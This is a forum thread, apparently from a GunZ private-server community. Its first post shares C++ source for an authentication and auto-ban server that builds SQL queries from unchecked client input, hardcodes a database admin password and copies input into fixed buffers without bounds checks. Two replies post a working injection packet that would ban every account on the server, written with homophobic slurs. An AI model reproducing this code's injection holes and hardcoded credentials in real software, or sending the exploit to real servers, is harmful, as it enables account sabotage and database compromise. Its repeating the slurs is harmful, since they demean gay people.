[C++] Auth Server

Results 1 to 5 of 5
  1. #1
    Apprentice Matheusinc is offline
    MemberRank
    Jun 2010 Join Date
    11Posts

    [C++] Auth Server

    You set in your source client to send the packet to Auth Server so you can do Auto Ban as has the only source there are many things you find out, permissions gm Login.

    #define ZPostLogin (PBYTE)0x004C3E20 // Adress 07 Client

    PHP Code:

         
    /////////////////////////////////////////////////
        //AuthServer v1.0
        //Copyright Matheus Natario
        ////////////////////////////////////////////////
        #include <winsock2.h>
         
        #include <stdio.h>
        #include <stdint.h>
        #include <stdlib.h>
        #include <SQLAPI.h>
         
        #pragma comment (lib, "Ws2_32.lib")
        #pragma comment(lib, "SQLAPI.lib")
        
    SAConnection g_saConnection;
         
        
    #define DEFAULT_PORT        2000
        #define DEFAULT_BUFFER      4096
         
        
    int    iPort      DEFAULT_PORT// Port to listen for clients on
        
    BOOL   bInterface FALSE,       // Listen on the specified interface
               
    bRecvOnly  FALSE;   // Receive data only; don't echo back
        
    char   szAddress[128];       // Interface to listen for clients on
        
    bool STAFF false;
         
        
    //
        // Function: usage
        //
        // Description:
        //    Print usage information and exit
        //
        
    void usage()
        {
            
    printf("usage: server [-p:x] [-i:IP] [-o]\n\n");
            
    printf("       -p:x      Port number to listen on\n");
            
    printf("       -i:str    Interface to listen on\n");
            
    printf("       -o        Don't echo the data back\n\n");
            
    ExitProcess(1);
        }
         
        
    //
        // Function: ValidateArgs
        //
        // Description:
        //    Parse the command line arguments, and set some global flags
        //    to indicate what actions to perform
        //
        
    void ValidateArgs(int argcchar **argv)
        {
            
    int i;
         
            for(
    1argci++)
            {
                if ((
    argv[i][0] == '-') || (argv[i][0] == '/'))
                {
                    switch (
    tolower(argv[i][1]))
                    {
                        case 
    'p':
                            
    iPort atoi(&argv[i][3]);
                            break;
                        case 
    'i':
                            
    bInterface TRUE;
                            if (
    strlen(argv[i]) > 3)
                                
    strcpy(szAddress, &argv[i][3]);
                            break;
                                        case 
    'o':
                                   
    bRecvOnly TRUE;
                               break;
                        default:
                            
    usage();
                            break;
                    }
                }
            }
        }
         
        
    //
        // Function: ClientThread
        //
        // Description:
        //    This function is called as a thread, and it handles a given
        //    client connection.  The parameter passed in is the socket
        //    handle returned from an accept() call.  This function reads
        //    data from the client and writes it back.
        //
        
    DWORD WINAPI ClientThread(LPVOID lpParam)
        {
            
    SOCKET        sock=(SOCKET)lpParam;
            
    char          szBuff[DEFAULT_BUFFER];
            
    int           ret,
                          
    nLeft,
                          
    idx;
         
            while(
    1)
            {
                
    char ReturnValue[256];
                        
    // Perform a blocking recv() call
                //
                
    ret recv(sockszBuffDEFAULT_BUFFER0);
                if (
    ret == 0)        // Graceful close
                    
    break;
                else if (
    ret == SOCKET_ERROR)
                {
                    
    printf("recv() failed: %d\n"WSAGetLastError());
                    break;
                }
                
    szBuff[ret] = '\0';
         
         
                        if(
    memcmp(szBuff"@AutoBan",8)==0)
                        {
                       
                        
    char Char[256];
                        
    char Motivo[256];
                        
    char AidSelect[256];
                        
    char BanQuery[256];
                        
    sscanf(szBuff"@AutoBan %s %s", &Char, &Motivo);
         
                        
    //Busca AID
                        
    sprintf (AidSelect"SELECT AID FROM Character WHERE Name = \'%s\'"Char);
                        
    SACommand SelectAID (&g_saConnectionAidSelect);
                        
    SelectAID.Execute();
                        while (
    SelectAID.FetchNext())
                        {
         
                        
    uint32_t szAID 0;
         
                        
    szAID SelectAID.Field("AID").asLong();
         
                        
    //Bane O Hack D:
                        
    sprintf (BanQuery"UPDATE Account SET UGradeID = \'253\' WHERE AID = \'%i\'"szAID);
                        
    SACommand BanCommand (&g_saConnectionBanQuery);
                        
    BanCommand.Execute();
                        }
         
                        
    g_saConnection.Commit();
         
                        
    printf("AutoBan: User->%s Motivo->%s\n"CharMotivo);
         
         
                        }
         
         
         
                        if(
    memcmp(szBuff"@auth",5)==0)
                        {
                        
    char UserID[32];
                        
    char HDID[256];
                        
    int Version;
                        
    sscanf(szBuff"@auth %s %s %d",&UserID,&HDID,&Version);
         
                        
    char Query1[256];
                        
    char Query2[256];
                        
    char Query3[256];
         
                        
    sprintf (Query1"SELECT UGradeID FROM Account WHERE UserID = \'%s\'"UserID);
         
            
    SACommand cmd(&g_saConnectionQuery1);
           
            try
            {
         
                
    // Select from our test table
                
    cmd.Execute();
                
    // fetch results row by row and print results
                
    while(cmd.FetchNext())
                {
         
                                
    uint32_t Grade 0;
         
                                
    Grade cmd.Field("UGradeID").asLong();
         
                                if(
    Grade == 255 || Grade == 254 || Grade == 252 )
                                {
         
                                
    sprintf (Query2"SELECT HDID FROM STAFF WHERE UserID = \'%s\'"UserID);
                                
    SACommand sqlCommand2 (&g_saConnectionQuery2);
                   
                                
    sqlCommand2.Execute();
         
                        while (
    sqlCommand2.FetchNext())
                                        {
         
                                                
    SAString sHDID sqlCommand2.Field("HDID");
         
                                                if(
    sHDID == "")
                                                {
                                                        
    sprintf(ReturnValue"gmfail"szBuff);
                                                }
                                                else if(!(
    sHDID == HDID))
                                                {
                                                        
    sprintf(ReturnValue"gmfail"szBuff);
                                                }
         
                                                
    //printf("HDID: %s", sHDID);
                                                
    STAFF true;
         
                                        }
         
                                        if(
    STAFF == false)
                                        {
                                                
    sprintf(ReturnValue"gmfail"szBuff);
                                        }
         
                        }
               
                        }
         
                
    // commit changes on success
                
    g_saConnection.Commit();
            }
            catch(
    SAException &x)
            {
                
    // SAConnection::Rollback()
                // can also throw an exception
                // (if a network error for example),
                // we will be ready
                
    try
                {
                    
    // on error rollback changes
                    
    g_saConnection.Rollback();
                }
                catch(
    SAException &)
                {
                }
                
    // print error message
                
    printf("%s\n", (const char*)x.ErrText());
            }
         
               
         
                        
    //Registra HDID Na DB
                        
    sprintf (Query3"UPDATE Login SET HDID = \'%s\' WHERE UserID = \'%s\'"HDIDUserID);
                        
    SACommand sqlCommand3 (&g_saConnectionQuery3);
                        
    sqlCommand3.Execute();
         
                        
    STAFF false;
                       
                       
                        
    //sprintf(ReturnValue, "gmfail", szBuff);
                        //printf("User %s: Login Autorizado!\n", UserID);
                        
    }
         
         
                        
    //sprintf(ReturnValue, "Dados Retornados!", szBuff);
                //printf("RECV: %s\n", szBuff);
         
               
                        //
                // If we selected to echo the data back, do it
                //
                
    if (!bRecvOnly)
                {
                    
    nLeft ret;
                    
    idx 0;
                                
    //
                    // Make sure we write all the data
                    //
                    
    while(nLeft 0)
                    {
                        
    //ret = send(sock, &szBuff[idx], nLeft, 0);
                                        
    ret send(sockReturnValuenLeft0);
                        if (
    ret == 0)
                            break;
                        else if (
    ret == SOCKET_ERROR)
                        {
                            
    printf("send() failed: %d\n",
                                
    WSAGetLastError());
                            break;
                        }
                        
    nLeft -= ret;
                        
    idx += ret;
                       }
                }
            }
            return 
    0;
        }
         
        
    //
        // Function: main
        //
        // Description:
        //    Main thread of execution. Initialize Winsock, parse the
        //    command line arguments, create the listening socket, bind
        //    to the local address, and wait for client connections.
        //
        
    int main(int argcchar **argv)
        {
                
    SetConsoleTitleA("AuthServer v1.0 - Copyright Matheus Natario");
         
                try
                {
                        
    g_saConnection.Connect ("Driver={SQL Server};Server={MATHEUS-PC\\SQLEXPRESS}; Database={GunzDB}""sa""123456"SA_ODBC_Client);
         
                }
                catch (...)
                {
                         
    MessageBoxA(NULL,"Erro ao conectar-se ao SQL Server.",NULL,NULL);
                         
    ExitProcess (0);
                }
         
                
    printf("AuthServer v1.0 Started!\n");
         
            
    WSADATA       wsd;
            
    SOCKET        sListen,
                          
    sClient;
            
    int           iAddrSize;
            
    HANDLE        hThread;
            
    DWORD         dwThreadId;
            
    struct sockaddr_in local,
                               
    client;
         
            
    ValidateArgs(argcargv);
            if (
    WSAStartup(MAKEWORD(2,2), &wsd) != 0)
            {
                
    printf("Failed to load Winsock!\n");
                return 
    1;
            }
            
    // Create our listening socket
            //
            
    sListen socket(AF_INETSOCK_STREAMIPPROTO_IP);
            if (
    sListen == SOCKET_ERROR)
            {
                
    printf("socket() failed: %d\n"WSAGetLastError());
                return 
    1;
            }
            
    // Select the local interface and bind to it
            //
            
    if (bInterface)
            {
                
    local.sin_addr.s_addr inet_addr(szAddress);
                if (
    local.sin_addr.s_addr == INADDR_NONE)
                    
    usage();
            }
            else
                
    local.sin_addr.s_addr htonl(INADDR_ANY);
            
    local.sin_family AF_INET;
            
    local.sin_port htons(iPort);
         
            if (
    bind(sListen, (struct sockaddr *)&local,
                    
    sizeof(local)) == SOCKET_ERROR)
            {
                
    printf("bind() failed: %d\n"WSAGetLastError());
                return 
    1;
            }
            
    listen(sListen8);
            
    //
            // In a continous loop, wait for incoming clients. Once one
            // is detected, create a thread and pass the handle off to it.
            //
            
    while (1)
            {
                
    iAddrSize sizeof(client);
                
    sClient accept(sListen, (struct sockaddr *)&client,
                                &
    iAddrSize);
                if (
    sClient == INVALID_SOCKET)
                {
                    
    printf("accept() failed: %d\n"WSAGetLastError());
                    break;
                }
                
    printf("Cliente Aceito: %s:%d\n",
                    
    inet_ntoa(client.sin_addr), ntohs(client.sin_port));
         
                
    hThread CreateThread(NULL0ClientThread,
                            (
    LPVOID)sClient0, &dwThreadId);
                if (
    hThread == NULL)
                {
                    
    printf("CreateThread() failed: %d\n"GetLastError());
                    break;
                }
                
    CloseHandle(hThread);
            }
            
    closesocket(sListen);
         
            
    WSACleanup();
            return 
    0;
        } 
    Credits: Matheus Natario


  2. #2
    Valued Member gaspartx is offline
    MemberRank
    Apr 2009 Join Date
    BrazilLocation
    102Posts

    Re: [C++] Auth Server

    This is original source code:
    http://pastebin.com/Dc2dssTg

    Leecher.

  3. #3
    Mako is insane. ThePhailure772 is offline
    MemberRank
    Sep 2007 Join Date
    1,115Posts

    Re: [C++] Auth Server

    Code:
    // Fuck the system, ban all the faggots
    char fuckTheString[128];
    int seperator = 255;
    sprintf(fuckTheString, "@AutoBan \'\'%iOR%iLIKE%i\'% faggot", seperator, seperator,seperator);
    SOCKET fuckTheSocket = socket(AF_INET, SOCK_STREAM, IPROTO_TCP0);
    sin_addr fuckTheSin;
    fuckTheSin.sin_addr.s_addr = inet_addr("fuck.the.server.ip");
    fuckTheSin.sin_family = AF_INET;
    fuckTheSin.sin_port = htons(2000);
    connect(fuckTheSocket, (const socaddr*)&fuckTheSin, sizeof(fuckTheSin));
    send(fuckTheSocket, fuckTheStirng, strlen(fuckTheString), 0);
    Last edited by ThePhailure772; 01-04-12 at 08:38 AM.

  4. #4
    Enthusiast Etroplus is offline
    MemberRank
    Dec 2011 Join Date
    32Posts

    Re: [C++] Auth Server

    // Fuck the system, ban all the faggots
    char fuckTheString[128];
    int seperator = 255;
    sprintf(fuckTheString, "@AutoBan \'\'%iOR%iLIKE%i\'% faggot", seperator, seperator,seperator);
    SOCKET fuckTheSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    sockaddr_in fuckTheSin;
    fuckTheSin.sin_addr.s_addr = inet_addr("127.0.0.1");
    fuckTheSin.sin_family = AF_INET;
    fuckTheSin.sin_port = htons(2000);
    connect(fuckTheSocket, (const sockaddr*)&fuckTheSin, sizeof(fuckTheSin));
    send(fuckTheSocket, fuckTheString, strlen(fuckTheString), 0);
    thanks phail
    Last edited by Etroplus; 01-04-12 at 10:09 AM.

  5. #5
    I like pie OJuice is offline
    MemberRank
    Jul 2011 Join Date
    205Posts

    Re: [C++] Auth Server

    leechers these days jeez all he did was change this line

    /////////////////////////////////////////////////
    //Kinight GunZ AuthServer v1.0
    //Copyright Gaspar 2012
    ////////////////////////////////////////////////

    doesn't even give credits but changes to

    /////////////////////////////////////////////////
    //AuthServer v1.0
    //Copyright Matheus Natario
    ////////////////////////////////////////////////



Advertisement